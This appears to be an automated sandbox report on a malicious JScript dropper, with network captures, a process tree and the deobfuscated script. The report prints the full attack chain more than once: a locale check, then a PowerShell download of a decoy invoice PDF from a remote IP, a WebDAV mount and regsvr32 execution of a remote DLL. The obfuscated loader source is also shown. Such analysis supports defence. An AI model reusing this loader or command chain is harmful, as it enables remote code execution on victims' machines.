Jan 11, 2025 03:37:48.401072979 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 03:37:48.401084900 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 03:37:48.401097059 CET	824	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 03:37:48.455005884 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	2740	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:37:50.414901018 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:37:51.230737925 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:37:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:37:43
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10076292573176921778.js"
Imagebase:	0x7ff7763a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:37:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Imagebase:	0x7ff73dd60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:37:44
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:37:44
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:37:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:37:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73dd60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:37:49
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e6320000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:37:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:37:50
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:37:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1556,i,8571969027995693465,18200781173583112081,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vavkx() {	vavkx() ➔ undefined
1	bhokr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xdjaglb = this[qysssmq + xfdbojnlp + lmmxv + kwaan + uxznyx + koqawnkx + uqmoraxf + zgkrvvl] ( this[mcdffing + sbhmf + tztre + lmmxv + nivhlax + qysssmq + zgkrvvl][jewqtr + lmmxv + uxznyx + xfdbojnlp + zgkrvvl + uxznyx + iuagh + xbqsvzk + yuvxp + uxznyx + tztre + zgkrvvl] ( mcdffing + sbhmf + tztre + lmmxv + nivhlax + qysssmq + zgkrvvl + yiyyyeo + sbhmf + autesnyb + uxznyx + ykdkyweq + ykdkyweq ) [cbfuxttu + uxznyx + nudji + cbfuxttu + uxznyx + xfdbojnlp + ecgkkuzq] ( tdhfp + vqgsj + ctiqff + fcktj + zdjki + jewqtr + qbogdmn + cbfuxttu + cbfuxttu + ctiqff + kibdzidnr + abkfuiu + zdjki + qbogdmn + sbhmf + ctiqff + cbfuxttu + xpggllxhg + jewqtr + bcjoygu + uqmoraxf + zgkrvvl + lmmxv + bcjoygu + ykdkyweq + ymvwilyb + ebcqxkd + xfdbojnlp + uqmoraxf + uxznyx + ykdkyweq + xpggllxhg + koqawnkx + uqmoraxf + zgkrvvl + uxznyx + lmmxv + uqmoraxf + xfdbojnlp + zgkrvvl + nivhlax + bcjoygu + uqmoraxf + xfdbojnlp + ykdkyweq + xpggllxhg + urrbv + bcjoygu + tztre + xfdbojnlp + ykdkyweq + uxznyx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wochud = 0 ; wochud < bhokr[ykdkyweq + uxznyx + uqmoraxf + nudji + zgkrvvl + autesnyb] ; ++ wochud )
4	{
5	if ( xdjaglb == bhokr[wochud] )
6	{
7	xdjaglb = true;
8	break ;
9	}
10	}
11	if ( xdjaglb !== true )
12	this[mcdffing + sbhmf + tztre + lmmxv + nivhlax + qysssmq + zgkrvvl][payoxsz + vlcdmtfm + nivhlax + zgkrvvl] ( );
13	this[mcdffing + sbhmf + tztre + lmmxv + nivhlax + qysssmq + zgkrvvl][jewqtr + lmmxv + uxznyx + xfdbojnlp + zgkrvvl + uxznyx + iuagh + xbqsvzk + yuvxp + uxznyx + tztre + zgkrvvl] ( mcdffing + sbhmf + tztre + lmmxv + nivhlax + qysssmq + zgkrvvl + yiyyyeo + sbhmf + autesnyb + uxznyx + ykdkyweq + ykdkyweq ) [lmmxv + vlcdmtfm + uqmoraxf] ( tztre + xunvxf + ecgkkuzq + ymvwilyb + rhwuqm + tztre + ymvwilyb + qysssmq + bcjoygu + hbblhei + uxznyx + lmmxv + kwaan + autesnyb + uxznyx + ykdkyweq + ykdkyweq + yiyyyeo + uxznyx + aheunwz + uxznyx + ymvwilyb + ezhcjezyf + jewqtr + bcjoygu + xunvxf + xunvxf + xfdbojnlp + uqmoraxf + ecgkkuzq + ymvwilyb + rtivkxuay + koqawnkx + uqmoraxf + yxtpoooaj + bcjoygu + ilaoe + uxznyx + ezhcjezyf + mcdffing + uxznyx + xbqsvzk + cbfuxttu + uxznyx + kcbhema + vlcdmtfm + uxznyx + kwaan + zgkrvvl + ymvwilyb + ezhcjezyf + iuagh + vlcdmtfm + zgkrvvl + tjxke + nivhlax + ykdkyweq + uxznyx + ymvwilyb + xtlslx + zgkrvvl + uxznyx + xunvxf + qysssmq + xtlslx + xpggllxhg + nivhlax + uqmoraxf + yxtpoooaj + bcjoygu + nivhlax + tztre + uxznyx + yiyyyeo + qysssmq + ecgkkuzq + svrabxdxf + ymvwilyb + autesnyb + zgkrvvl + zgkrvvl + qysssmq + dfoqzajiv + rhwuqm + rhwuqm + fptfhebwb + kqsyeg + nvvtmzl + yiyyyeo + fptfhebwb + mmigotjwf + nvvtmzl + yiyyyeo + fptfhebwb + yiyyyeo + emeyu + zhpee + gdxupyqbn + rhwuqm + nivhlax + uqmoraxf + yxtpoooaj + bcjoygu + nivhlax + tztre + uxznyx + yiyyyeo + qysssmq + autesnyb + qysssmq + rtivkxuay + dtgpbub + dtgpbub + kwaan + zgkrvvl + xfdbojnlp + lmmxv + zgkrvvl + ymvwilyb + xtlslx + zgkrvvl + uxznyx + xunvxf + qysssmq + xtlslx + xpggllxhg + nivhlax + uqmoraxf + yxtpoooaj + bcjoygu + nivhlax + tztre + uxznyx + yiyyyeo + qysssmq + ecgkkuzq + svrabxdxf + dtgpbub + dtgpbub + tztre + xunvxf + ecgkkuzq + ymvwilyb + rhwuqm + tztre + ymvwilyb + uqmoraxf + uxznyx + zgkrvvl + ymvwilyb + vlcdmtfm + kwaan + uxznyx + ymvwilyb + xpggllxhg + xpggllxhg + fptfhebwb + kqsyeg + nvvtmzl + yiyyyeo + fptfhebwb + mmigotjwf + nvvtmzl + yiyyyeo + fptfhebwb + yiyyyeo + emeyu + zhpee + gdxupyqbn + hzdfq + witgzo + witgzo + witgzo + witgzo + xpggllxhg + ecgkkuzq + xfdbojnlp + yxtpoooaj + hbblhei + hbblhei + hbblhei + lmmxv + bcjoygu + bcjoygu + zgkrvvl + xpggllxhg + dtgpbub + dtgpbub + tztre + xunvxf + ecgkkuzq + ymvwilyb + rhwuqm + tztre + ymvwilyb + lmmxv + uxznyx + nudji + kwaan + yxtpoooaj + lmmxv + nvvtmzl + emeyu + ymvwilyb + rhwuqm + kwaan + ymvwilyb + xpggllxhg + xpggllxhg + fptfhebwb + kqsyeg + nvvtmzl + yiyyyeo + fptfhebwb + mmigotjwf + nvvtmzl + yiyyyeo + fptfhebwb + yiyyyeo + emeyu + zhpee + gdxupyqbn + hzdfq + witgzo + witgzo + witgzo + witgzo + xpggllxhg + ecgkkuzq + xfdbojnlp + yxtpoooaj + hbblhei + hbblhei + hbblhei + lmmxv + bcjoygu + bcjoygu + zgkrvvl + xpggllxhg + emeyu + gdxupyqbn + zhpee + npbyvjh + zhpee + nvvtmzl + emeyu + fptfhebwb + emeyu + witgzo + emeyu + emeyu + nvvtmzl + gdxupyqbn + mecuf + yiyyyeo + ecgkkuzq + ykdkyweq + ykdkyweq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll",0,false) ➔ 0
14	}
15	rtivkxuay = "E";
16	rtivkxuay = "r";
17	rtivkxuay = "z";
18	rtivkxuay = "z";
19	rtivkxuay = "c";
20	rtivkxuay = "X";
21	rtivkxuay = "F";
22	rtivkxuay = "Q";
23	rtivkxuay = "j";
24	rtivkxuay = "\"";
25	hzdfq = "H";
26	hzdfq = "o";
27	hzdfq = "c";
28	hzdfq = "D";
29	hzdfq = "p";
30	hzdfq = "N";
31	hzdfq = "l";
32	hzdfq = "I";
33	hzdfq = "m";
34	hzdfq = "W";
35	hzdfq = "I";
36	hzdfq = "I";
37	hzdfq = "Q";
38	hzdfq = "V";
39	hzdfq = "U";
40	hzdfq = "L";
41	hzdfq = "a";
42	hzdfq = "@";
43	gdxupyqbn = "s";
44	gdxupyqbn = "e";
45	gdxupyqbn = "f";
46	gdxupyqbn = "T";
47	gdxupyqbn = "J";
48	gdxupyqbn = "d";
49	gdxupyqbn = "u";
50	gdxupyqbn = "e";
51	gdxupyqbn = "t";
52	gdxupyqbn = "v";
53	gdxupyqbn = "x";
54	gdxupyqbn = "K";
55	gdxupyqbn = "n";
56	gdxupyqbn = "n";
57	gdxupyqbn = "i";
58	gdxupyqbn = "N";
59	gdxupyqbn = "x";
60	gdxupyqbn = "Z";
61	gdxupyqbn = "r";
62	gdxupyqbn = "F";
63	gdxupyqbn = "g";
64	gdxupyqbn = "l";
65	gdxupyqbn = "p";
66	gdxupyqbn = "V";
67	gdxupyqbn = "q";
68	gdxupyqbn = "z";
69	gdxupyqbn = "D";
70	gdxupyqbn = "5";
71	tztre = "b";
72	tztre = "G";
73	tztre = "i";
74	tztre = "Y";
75	tztre = "n";
76	tztre = "D";
77	tztre = "v";
78	tztre = "K";
79	tztre = "V";
80	tztre = "A";
81	tztre = "N";
82	tztre = "S";
83	tztre = "U";
84	tztre = "V";
85	tztre = "T";
86	tztre = "T";
87	tztre = "f";
88	tztre = "G";
89	tztre = "m";
90	tztre = "a";
91	tztre = "j";
92	tztre = "u";
93	tztre = "n";
94	tztre = "H";
95	tztre = "H";
96	tztre = "s";
97	tztre = "B";
98	tztre = "R";
99	tztre = "H";
100	tztre = "e";
101	tztre = "w";
102	tztre = "w";
103	tztre = "c";
104	dtgpbub = "E";
105	dtgpbub = "R";
106	dtgpbub = "z";
107	dtgpbub = "L";
108	dtgpbub = "V";
109	dtgpbub = "R";
110	dtgpbub = "P";
111	dtgpbub = "x";
112	dtgpbub = "g";
113	dtgpbub = "c";
114	dtgpbub = "k";
115	dtgpbub = "c";
116	dtgpbub = "c";
117	dtgpbub = "O";
118	dtgpbub = "H";
119	dtgpbub = "T";
120	dtgpbub = "W";
121	dtgpbub = "B";
122	dtgpbub = "t";
123	dtgpbub = "U";
124	dtgpbub = "I";
125	dtgpbub = "k";
126	dtgpbub = "w";
127	dtgpbub = "g";
128	dtgpbub = "k";
129	dtgpbub = "u";
130	dtgpbub = "v";
131	dtgpbub = "w";
132	dtgpbub = "a";
133	dtgpbub = "V";
134	dtgpbub = "A";
135	dtgpbub = "s";
136	dtgpbub = "X";
137	dtgpbub = "r";
138	dtgpbub = "k";
139	dtgpbub = "&";
140	ctiqff = "K";
141	ctiqff = "S";
142	ctiqff = "h";
143	ctiqff = "x";
144	ctiqff = "P";
145	ctiqff = "B";
146	ctiqff = "d";
147	ctiqff = "j";
148	ctiqff = "N";
149	ctiqff = "w";
150	ctiqff = "p";
151	ctiqff = "v";
152	ctiqff = "G";
153	ctiqff = "h";
154	ctiqff = "D";
155	ctiqff = "N";
156	ctiqff = "e";
157	ctiqff = "C";
158	ctiqff = "R";
159	ctiqff = "l";
160	ctiqff = "c";
161	ctiqff = "K";
162	ctiqff = "t";
163	ctiqff = "E";
164	ctiqff = "a";
165	ctiqff = "e";
166	ctiqff = "P";
167	ctiqff = "V";
168	ctiqff = "C";
169	ctiqff = "i";
170	ctiqff = "o";
171	ctiqff = "C";
172	ctiqff = "i";
173	ctiqff = "p";
174	ctiqff = "o";
175	ctiqff = "I";
176	ctiqff = "o";
177	ctiqff = "k";
178	ctiqff = "v";
179	ctiqff = "i";
180	ctiqff = "L";
181	ctiqff = "E";
182	cbfuxttu = "U";
183	cbfuxttu = "l";
184	cbfuxttu = "w";
185	cbfuxttu = "K";
186	cbfuxttu = "u";
187	cbfuxttu = "t";
188	cbfuxttu = "x";
189	cbfuxttu = "Z";
190	cbfuxttu = "S";
191	cbfuxttu = "F";
192	cbfuxttu = "A";
193	cbfuxttu = "Q";
194	cbfuxttu = "R";
195	dfoqzajiv = "t";
196	dfoqzajiv = "C";
197	dfoqzajiv = "b";
198	dfoqzajiv = "P";
199	dfoqzajiv = "N";
200	dfoqzajiv = "p";
201	dfoqzajiv = "w";
202	dfoqzajiv = "J";
203	dfoqzajiv = "I";
204	dfoqzajiv = "U";
205	dfoqzajiv = "t";
206	dfoqzajiv = "R";
207	dfoqzajiv = "b";
208	dfoqzajiv = "w";
209	dfoqzajiv = "I";
210	dfoqzajiv = "Z";
211	dfoqzajiv = "W";
212	dfoqzajiv = "t";
213	dfoqzajiv = "G";
214	dfoqzajiv = "q";
215	dfoqzajiv = "I";
216	dfoqzajiv = "A";
217	dfoqzajiv = "n";
218	dfoqzajiv = "O";
219	dfoqzajiv = "u";
220	dfoqzajiv = "Q";
221	dfoqzajiv = ":";
222	mmigotjwf = "M";
223	mmigotjwf = "o";
224	mmigotjwf = "y";
225	mmigotjwf = "r";
226	mmigotjwf = "d";
227	mmigotjwf = "c";
228	mmigotjwf = "t";
229	mmigotjwf = "Z";
230	mmigotjwf = "w";
231	mmigotjwf = "E";
232	mmigotjwf = "M";
233	mmigotjwf = "W";
234	mmigotjwf = "l";
235	mmigotjwf = "B";
236	mmigotjwf = "4";
237	ezhcjezyf = "m";
238	ezhcjezyf = "R";
239	ezhcjezyf = "e";
240	ezhcjezyf = "j";
241	ezhcjezyf = "f";
242	ezhcjezyf = "T";
243	ezhcjezyf = "g";
244	ezhcjezyf = "t";
245	ezhcjezyf = "n";
246	ezhcjezyf = "E";
247	ezhcjezyf = "Q";
248	ezhcjezyf = "f";
249	ezhcjezyf = "b";
250	ezhcjezyf = "s";
251	ezhcjezyf = "G";
252	ezhcjezyf = "-";
253	fptfhebwb = "H";
254	fptfhebwb = "o";
255	fptfhebwb = "p";
256	fptfhebwb = "s";
257	fptfhebwb = "P";
258	fptfhebwb = "W";
259	fptfhebwb = "o";
260	fptfhebwb = "a";
261	fptfhebwb = "o";
262	fptfhebwb = "w";
263	fptfhebwb = "g";
264	fptfhebwb = "u";
265	fptfhebwb = "P";
266	fptfhebwb = "T";
267	fptfhebwb = "v";
268	fptfhebwb = "k";
269	fptfhebwb = "x";
270	fptfhebwb = "a";
271	fptfhebwb = "D";
272	fptfhebwb = "x";
273	fptfhebwb = "K";
274	fptfhebwb = "v";
275	fptfhebwb = "N";
276	fptfhebwb = "k";
277	fptfhebwb = "e";
278	fptfhebwb = "m";
279	fptfhebwb = "h";
280	fptfhebwb = "D";
281	fptfhebwb = "Q";
282	fptfhebwb = "d";
283	fptfhebwb = "q";
284	fptfhebwb = "I";
285	fptfhebwb = "I";
286	fptfhebwb = "a";
287	fptfhebwb = "T";
288	fptfhebwb = "u";
289	fptfhebwb = "g";
290	fptfhebwb = "1";
291	sbhmf = "L";
292	sbhmf = "P";
293	sbhmf = "d";
294	sbhmf = "C";
295	sbhmf = "B";
296	sbhmf = "S";
297	sbhmf = "p";
298	sbhmf = "f";
299	sbhmf = "G";
300	sbhmf = "c";
301	sbhmf = "f";
302	sbhmf = "U";
303	sbhmf = "D";
304	sbhmf = "C";
305	sbhmf = "D";
306	sbhmf = "V";
307	sbhmf = "J";
308	sbhmf = "o";
309	sbhmf = "k";
310	sbhmf = "g";
311	sbhmf = "f";
312	sbhmf = "S";
313	sbhmf = "g";
314	sbhmf = "d";
315	sbhmf = "q";
316	sbhmf = "t";
317	sbhmf = "n";
318	sbhmf = "F";
319	sbhmf = "V";
320	sbhmf = "S";
321	aheunwz = "U";
322	aheunwz = "W";
323	aheunwz = "S";
324	aheunwz = "u";
325	aheunwz = "M";
326	aheunwz = "M";
327	aheunwz = "D";
328	aheunwz = "L";
329	aheunwz = "d";
330	aheunwz = "t";
331	aheunwz = "R";
332	aheunwz = "v";
333	aheunwz = "k";
334	aheunwz = "u";
335	aheunwz = "m";
336	aheunwz = "l";
337	aheunwz = "I";
338	aheunwz = "y";
339	aheunwz = "M";
340	aheunwz = "C";
341	aheunwz = "R";
342	aheunwz = "m";
343	aheunwz = "x";
344	aheunwz = "j";
345	aheunwz = "w";
346	aheunwz = "R";
347	aheunwz = "W";
348	aheunwz = "c";
349	aheunwz = "z";
350	aheunwz = "t";
351	aheunwz = "z";
352	aheunwz = "C";
353	aheunwz = "O";
354	aheunwz = "H";
355	aheunwz = "e";
356	aheunwz = "q";
357	aheunwz = "z";
358	aheunwz = "S";
359	aheunwz = "X";
360	aheunwz = "z";
361	aheunwz = "r";
362	aheunwz = "a";
363	aheunwz = "e";
364	aheunwz = "u";
365	aheunwz = "x";
366	kcbhema = "o";
367	kcbhema = "z";
368	kcbhema = "P";
369	kcbhema = "X";
370	kcbhema = "L";
371	kcbhema = "q";
372	kcbhema = "C";
373	kcbhema = "U";
374	kcbhema = "p";
375	kcbhema = "Y";
376	kcbhema = "L";
377	kcbhema = "x";
378	kcbhema = "y";
379	kcbhema = "v";
380	kcbhema = "B";
381	kcbhema = "E";
382	kcbhema = "h";
383	kcbhema = "M";
384	kcbhema = "C";
385	kcbhema = "w";
386	kcbhema = "q";
387	kcbhema = "D";
388	kcbhema = "K";
389	kcbhema = "b";
390	kcbhema = "C";
391	kcbhema = "g";
392	kcbhema = "X";
393	kcbhema = "l";
394	kcbhema = "i";
395	kcbhema = "A";
396	kcbhema = "F";
397	kcbhema = "u";
398	kcbhema = "S";
399	kcbhema = "X";
400	kcbhema = "C";
401	kcbhema = "D";
402	kcbhema = "l";
403	kcbhema = "m";
404	kcbhema = "f";
405	kcbhema = "e";
406	kcbhema = "A";
407	kcbhema = "R";
408	kcbhema = "V";
409	kcbhema = "W";
410	kcbhema = "q";
411	kibdzidnr = "w";
412	kibdzidnr = "V";
413	kibdzidnr = "g";
414	kibdzidnr = "z";
415	kibdzidnr = "v";
416	kibdzidnr = "y";
417	kibdzidnr = "E";
418	kibdzidnr = "e";
419	kibdzidnr = "D";
420	kibdzidnr = "n";
421	kibdzidnr = "M";
422	kibdzidnr = "E";
423	kibdzidnr = "Z";
424	kibdzidnr = "E";
425	kibdzidnr = "z";
426	kibdzidnr = "E";
427	kibdzidnr = "f";
428	kibdzidnr = "Z";
429	kibdzidnr = "b";
430	kibdzidnr = "A";
431	kibdzidnr = "o";
432	kibdzidnr = "O";
433	kibdzidnr = "K";
434	kibdzidnr = "x";
435	kibdzidnr = "S";
436	kibdzidnr = "O";
437	kibdzidnr = "b";
438	kibdzidnr = "n";
439	kibdzidnr = "w";
440	kibdzidnr = "W";
441	kibdzidnr = "o";
442	kibdzidnr = "w";
443	kibdzidnr = "N";
444	nivhlax = "o";
445	nivhlax = "M";
446	nivhlax = "w";
447	nivhlax = "s";
448	nivhlax = "M";
449	nivhlax = "p";
450	nivhlax = "N";
451	nivhlax = "y";
452	nivhlax = "f";
453	nivhlax = "w";
454	nivhlax = "B";
455	nivhlax = "X";
456	nivhlax = "G";
457	nivhlax = "a";
458	nivhlax = "k";
459	nivhlax = "H";
460	nivhlax = "K";
461	nivhlax = "q";
462	nivhlax = "i";
463	nivhlax = "y";
464	nivhlax = "A";
465	nivhlax = "u";
466	nivhlax = "X";
467	nivhlax = "U";
468	nivhlax = "e";
469	nivhlax = "f";
470	nivhlax = "i";
471	zhpee = "M";
472	zhpee = "f";
473	zhpee = "E";
474	zhpee = "H";
475	zhpee = "D";
476	zhpee = "x";
477	zhpee = "O";
478	zhpee = "E";
479	zhpee = "J";
480	zhpee = "T";
481	zhpee = "c";
482	zhpee = "s";
483	zhpee = "U";
484	zhpee = "J";
485	zhpee = "s";
486	zhpee = "S";
487	zhpee = "h";
488	zhpee = "i";
489	zhpee = "0";
490	zgkrvvl = "W";
491	zgkrvvl = "U";
492	zgkrvvl = "C";
493	zgkrvvl = "t";
494	yuvxp = "J";
495	yuvxp = "m";
496	yuvxp = "j";
497	ilaoe = "E";
498	ilaoe = "Z";
499	ilaoe = "K";
500	ilaoe = "M";
501	ilaoe = "m";
502	ilaoe = "q";
503	ilaoe = "a";
504	ilaoe = "Z";
505	ilaoe = "t";
506	ilaoe = "F";
507	ilaoe = "x";
508	ilaoe = "a";
509	ilaoe = "Z";
510	ilaoe = "A";
511	ilaoe = "w";
512	ilaoe = "N";
513	ilaoe = "h";
514	ilaoe = "O";
515	ilaoe = "h";
516	ilaoe = "E";
517	ilaoe = "J";
518	ilaoe = "z";
519	ilaoe = "X";
520	ilaoe = "C";
521	ilaoe = "k";
522	kwaan = "D";
523	kwaan = "H";
524	kwaan = "S";
525	kwaan = "d";
526	kwaan = "l";
527	kwaan = "z";
528	kwaan = "W";
529	kwaan = "b";
530	kwaan = "U";
531	kwaan = "u";
532	kwaan = "C";
533	kwaan = "b";
534	kwaan = "h";
535	kwaan = "n";
536	kwaan = "h";
537	kwaan = "C";
538	kwaan = "J";
539	kwaan = "Y";
540	kwaan = "H";
541	kwaan = "g";
542	kwaan = "M";
543	kwaan = "T";
544	kwaan = "i";
545	kwaan = "M";
546	kwaan = "z";
547	kwaan = "H";
548	kwaan = "U";
549	kwaan = "m";
550	kwaan = "n";
551	kwaan = "n";
552	kwaan = "K";
553	kwaan = "B";
554	kwaan = "p";
555	kwaan = "K";
556	kwaan = "i";
557	kwaan = "a";
558	kwaan = "s";
559	vqgsj = "c";
560	vqgsj = "j";
561	vqgsj = "I";
562	vqgsj = "d";
563	vqgsj = "s";
564	vqgsj = "k";
565	vqgsj = "D";
566	vqgsj = "f";
567	vqgsj = "A";
568	vqgsj = "u";
